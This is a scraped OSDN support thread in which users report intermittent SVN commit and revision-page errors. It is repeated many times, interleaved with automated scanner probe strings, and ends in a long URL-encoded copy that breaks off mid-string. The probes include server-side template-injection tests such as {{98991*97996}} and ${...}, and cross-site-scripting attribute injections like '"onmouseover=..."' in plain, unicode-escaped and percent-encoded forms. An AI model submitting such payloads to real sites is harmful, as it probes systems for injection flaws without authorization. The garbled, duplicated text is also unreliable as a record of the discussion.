About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1
<%={{={@{#{${dfb}}%>
<th:t="${dfb}#foreach
555
<th:t="${dfb}#foreach
1
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
<th:t="${dfb}#foreach
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
555
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
1
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
dfb{{98991*97996}}xca
555
dfb{{98991*97996}}xca
dfb[[${98991*97996}]]xca
dfb[[${98991*97996}]]xca
dfb{{98991*97996}}xca
dfb${98991*97996}::.x
dfb[[${98991*97996}]]xca
dfb${98991*97996}::.x
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
dfb${98991*97996}::.x
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
1%22onmouseover=2a1u(92882)%22
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/"onmouseover=hh6B(98452)"
1"onmouseover=2a1u(95292)"
555"onmouseover=8Bd9(96862)"
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/"onmouseover=hh6B(91392)"
1" pyE3=2a1u([!+!]) zW0="
555"onmouseover=8Bd9(96392)"
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/" zxYd=hh6B([!+!]) 2d7="
1\u0022onmouseover=2a1u(90523)\u0022
555" pkDy=8Bd9([!+!]) Dey="
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/\u0022onmouseover=hh6B(99003)\u0022
%31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%32%61%31%75%28%39%39%35%36%34%29%22
555\u0022onmouseover=8Bd9(96313)\u0022
%31%0A%5B%74%69%63%6B%65%74%3A%34%36%34%33%34%20%64%65%72%65%6B%77%69%6C%64%73%74%61%72%5D%20%E3%81%B8%E3%81%AE%E8%BF%94%E4%BF%A1%0A%3E%20%4A%75%73%74%20%6E%6F%77%20%49%20%74%72%69%65%64%20%74%6F%20%63%6F%6D%6D%69%74%20%74%6F%20%6F%6E%65%20%6F%66%20%6D%79%20%53%56%4E%20%72%65%70%6F%73%69%74%6F%72%69%65%73%20%61%6E%64%20%49%27%6D%20%67%65%74%74%69%6E%67%20%74%68%65%20%65%72%72%6F%72%20%6D%65%73%73%61%67%65%20%22%43%6F%75%6C%64%6E%27%74%20%70%65%72%66%6F%72%6D%20%61%74%6F%6D%69%63%20%69%6E%69%74%69%61%6C%69%7A%61%74%69%6F%6E%22%2E%0A%3E%20%0A%3E%20%57%68%65%6E%20%61%63%63%65%73%73%69%6E%67%20%76%69%61%20%74%68%65%20%77%65%62%73%69%74%65%2C%20%49%20%63%61%6E%20%62%72%6F%77%73%65%20%6D%79%20%66%69%6C%65%73%20%74%68%61%74%20%61%72%65%20%6F%6E%20%74%68%65%20%73%65%72%76%65%72%20%6E%6F%72%6D%61%6C%6C%79%20%28%53%6F%75%72%63%65%20%54%72%65%65%29%20%62%75%74%20%77%68%65%6E%20%63%6C%69%63%6B%69%6E%67%20%6F%6E%20%61%6E%79%20%6C%69%6E%6B%20%77%69%74%68%20%74%68%65%20%72%65%76%69%73%69%6F%6E%20%6E%75%6D%62%65%72%2C%20%61%6E%20%65%72%72%6F%72%20%6D%65%73%73%61%67%65%20%61%6C%73%6F%20%61%70%70%65%61%72%73%3A%20%22%49%6E%74%65%72%6E%61%6C%20%45%72%72%6F%72%22%20%77%69%74%68%20%74%68%65%20%66%6F%6C%6C%6F%77%69%6E%67%20%61%64%64%69%74%69%6F%6E%61%6C%20%74%65%78%74%3A%20%22%57%65%20%61%72%65%20%73%6F%72%72%79%20%66%6F%72%20%74%68%65%20%69%6E%63%6F%6E%76%65%6E%69%65%6E%63%65%2E%20%50%6C%65%61%73%65%20%74%72%79%20%61%67%61%69%6E%20%61%66%74%65%72%20%61%20%66%65%77%20%6D%69%6E%75%74%65%73%2E%20%49%66%20%79%6F%75%20%67%65%74%20%74%68%69%73%20%65%72%72%6F%72%20%63%6F%6E%74%69%6E%75%6F%75%73%6C%79%2C%20%70%6C%65%61%73%65%20%66%69%6C%65%20%61%20%6E%65%77%20%73%75%70%70%6F%72%74%20%74%69%63%6B%65%74%20%6F%72%20%63%6F%6E%74%61%63%74%20%61%64%6D%69%6E%40%6F%73%64%6E%2E%6E%65%74%2E%22%0A%3E%20%0A%3E%20%49%27%76%65%20%6E%6F%74%69%63%65%64%20%74%68%61%74%20%61%6C%6C%20%6D%79%20%70%72%6F%6A%65%63%74%20%72%65%76%69%73%69%6F%6E%20%6C%69%6E%6B%73%20%61%72%65%20%73%68%6F%77%69%6E%67%20%74%68%65%20%73%61%6D%65%20%65%72%72%6F%72%20%6D%65%73%73%61%67%65%2C%20%62%75%74%20%77%68%65%6E%20%49%20%63%6C%69%63%6B%20%6F%6E%20%74%68%65%73%65%20%73%61%6D%65%20%6C%69%6E%6B%73%20%69%6E%20%61%6E%6F%74%68%65%72%20%64%65%76%65%6C%6F%70%65%72%27%73%20%53%56%4E%20%70%72%6F%6A%65%63%74%20%68%65%72%65%20%6F%6E%20%4F%53%44%4E%2C%20%74%68%65%20%6C%69%6E%6B%20%77%6F%72%6B%73%20%63%6F%72%72%65%63%74%6C%79%2C%20%61%73%20%69%66%20%74%68%65%20%70%72%6F%62%6C%65%6D%20%69%73%20%6F%6E%6C%79%20%61%66%66%65%63%74%69%6E%67%20%6D%79%20%70%72%6F%66%69%6C%65%2E%0A%5B%63%6F%6D%6D%65%6E%74%3A%31%30%37%34%33%3A%34%36%34%33%34%3A%36%36%30%30%33%20%71%75%69%72%65%74%5D%20%E3%81%B8%E3%81%AE%E8%BF%94%E4%BF%A1%0A%3E%20%49%20%61%6D%20%65%6E%63%6F%75%6E%74%65%72%69%6E%67%20%74%68%65%20%73%61%6D%65%20%69%73%73%75%65%20%6F%6E%20%6D%79%20%53%56%4E%20%72%65%70%6F%73%69%74%6F%72%69%65%73%2E%20%50%6C%65%61%73%65%20%68%65%6C%70%21%20%41%6C%73%6F%20%4F%50%20%69%73%20%61%20%70%72%65%74%74%79%20%63%6F%6F%6C%20%64%75%64%65%2E%0A%5B%63%6F%6D%6D%65%6E%74%3A%31%30%37%34%33%3A%34%36%34%33%34%3A%36%36%30%32%36%20%64%65%72%65%6B%77%69%6C%64%73%74%61%72%5D%20%E3%81%B8%E3%81%AE%E8%BF%94%E4%BF%A1%0A%3E%20%41%70%61%72%65%6E%74%6C%79%20%74%68%65%20%70%72%6F%62%6C%65%6D%20%77%61%73%20%73%6F%6C%76%65%64%21%0A%5B%63%6F%6D%6D%65%6E%74%3A%31%30%37%34%33%3A%34%36%34%33%34%3A%36%36%31%30%39%20%71%75%69%72%65%74%5D%20%E3%81%B8%E3%81%AE%E8%BF%94%E4%BF%A1%0A%3E%20%54%68%65%20%70%72%6F%62%6C%65%6D%20%69%73%20%68%61%70%70%65%6E%69%6E%67%2C%20%61%67%61%69%6E%2E%0A%5B%63%6F%6D%6D%65%6E%74%3A%31%30%37%34%33%3A%34%36%34%33%34%3A%36%36%31%31%33%20%71%75%69%72%65%74%5D%20%E3%81%B8%E3%81%AE%E8%BF%94%E4%BF%A1%0A%3E%20%49%74%20%64%69%73%61%70%70%65%61%72%65%64%20%61%67%61%69%6E%3F%3F%3F%20%57%65%6C%6C%20%49%20%64%69%64%20%73%65%6E%64%20%61%6E%20%45%2D%4D%61%69%6C%20%74%6F%20%61%64%6D%69%6E%40%6F%73%64%6E%2E%6E%65%74%0A%5B%63%6F%6D%6D%65%6E%74%3A%31%30%37%34%33%3A%34%36%34%33%34%3A%36%36%31%31%34%20%28%E5%8C%BF%E5%90%8D%29%5D%20%E3%81%B8%E3%81%AE%E8%BF%94%E4%BF%A1%0A%3E%20%52%65%70%6C%79%20%54%6F%20%5B%63%6F%6D%6D%65%6E%74%3A%31%30%37%34%33%3A%34%36%34%33%34%3A%36%36%31%31%33%20%71%75%69%72%65%74%5D%0A%3E%20%3E%20%49%74%20%64%69%73%61%70%70%65%61%72%65%64%20%61%67%61%69%6E%3F%3F%3F%20%57%65%6C%6C%20%49%20%64%69%64%20%73%65%6E%64%20%61%6E%20%45%2D%4D%61%69%6C%20%74%6F%20%61%64%6D%69%6E%40%6F%73%64%6E%2E%6E%65%74%0A%3E%20%0A%3E%20%41%74%20%74%68%69%73%20%76%65%72%79%20%6D%6F%6D%65%6E%74%20%49%20%64%6F%6E%27%74%20%68%61%76%65%20%61%6E%79%20%73%6F%75%72%63%65%73%20%74%6F%20%63%6F%6D%6D%69%74%2C%20%73%6F%20%49%20%63%61%6E%27%74%20%67%75%61%72%61%6E%74%65%65%20%74%68%61%74%20%74%68%65%20%70%72%6F%62%6C%65%6D%20%68%61%73%20%72%65%74%75%72%6E%65%64%2C%20%68%6F%77%65%76%65%72%2C%20%77%68%65%6E%20%63%6C%69%63%6B%69%6E%67%20%6F%6E%20%74%68%65%20%72%65%76%69%73%69%6F%6E%20%6E%75%6D%62%65%72%20%69%6E%20%6D%79%20%70%72%6F%6A%65%63%74%2C%20%49%20%63%61%6E%20%73%65%65%20%74%68%65%20%72%65%6C%61%74%65%64%20%70%61%67%65%2C%20%61%6E%64%20%62%65%66%6F%72%65%2C%20%77%68%65%6E%20%74%68%65%20%65%72%72%6F%72%20%68%61%70%70%65%6E%65%64%20%2C%20%49%20%63%6F%75%6C%64%6E%27%74%20%73%65%65%20%74%68%61%74%20%70%61%67%65%20%61%73%20%61%6E%20%65%72%72%6F%72%20%77%61%73%20%64%69%73%70%6C%61%79%65%64%2E%20%41%74%20%74%68%69%73%20%6D%6F%6D%65%6E%74%20%49%20%63%61%6E%20%73%65%65%2C%20%73%6F%20%49%20%67%75%65%73%73%20%49%20%64%6F%6E%27%74%20%68%61%76%65%20%74%68%65%20%70%72%6F%62%6C%65%6D%20%61%6E%79%6D%6F%72%65%0A%5B%63%6F%6D%6D%65%6E%74%3A%31%30%37%34%33%3A%34%36%34%33%34%3A%36%36%32%30%37%20%64%65%72%65%6B%77%69%6C%64%73%74%61%72%5D%20%E3%81%B8%E3%81%AE%E8%BF%94%E4%BF%A1%0A%3E%20%54%6F%64%61%79%20%74%68%65%20%70%72%6F%62%6C%65%6D%20%72%65%74%75%72%6E%73%2E%2E%2E%20%73%6F%6D%65%20%6D%69%6E%75%74%65%73%20%61%66%74%65%72%20%6D%79%20%6C%61%73%74%20%74%72%79%20%74%68%65%20%70%72%6F%62%6C%65%6D%20%77%61%73%20%67%6F%6E%65%2E%2E%2E%20%57%68%61%74%20%61%72%65%20%68%65%70%70%65%6E%69%6E%67%3F%0A%5B%63%6F%6D%6D%65%6E%74%3A%31%30%37%34%33%3A%34%36%34%33%34%3A%36%36%32%30%38%20%71%75%69%72%65%74%5D%20%E3%81%B8%E3%81%AE%E8%BF%94%E4%BF%A1%0A%3E%20%52%65%70%6C%79%20%54%6F%20%5B%63%6F%6D%6D%65%6E%74%3A%31%30%37%34%33%3A%34%36%34%33%34%3A%36%36%32%30%37%20%64%65%72%65%6B%77%69%6C%64%73%74%61%72%5D%0A%3E%20%3E%20%54%6F%64%61%79%20%74%68%65%20%70%72%6F%62%6C%65%6D%20%72%65%74%75%72%6E%73%2E%2E%2E%20%73%6F%6D%65%20%6D%69%6E%75%74%65%73%20%61%66%74%65%72%20%6D%79%20%6C%61%73%74%20%74%72%79%20%74%6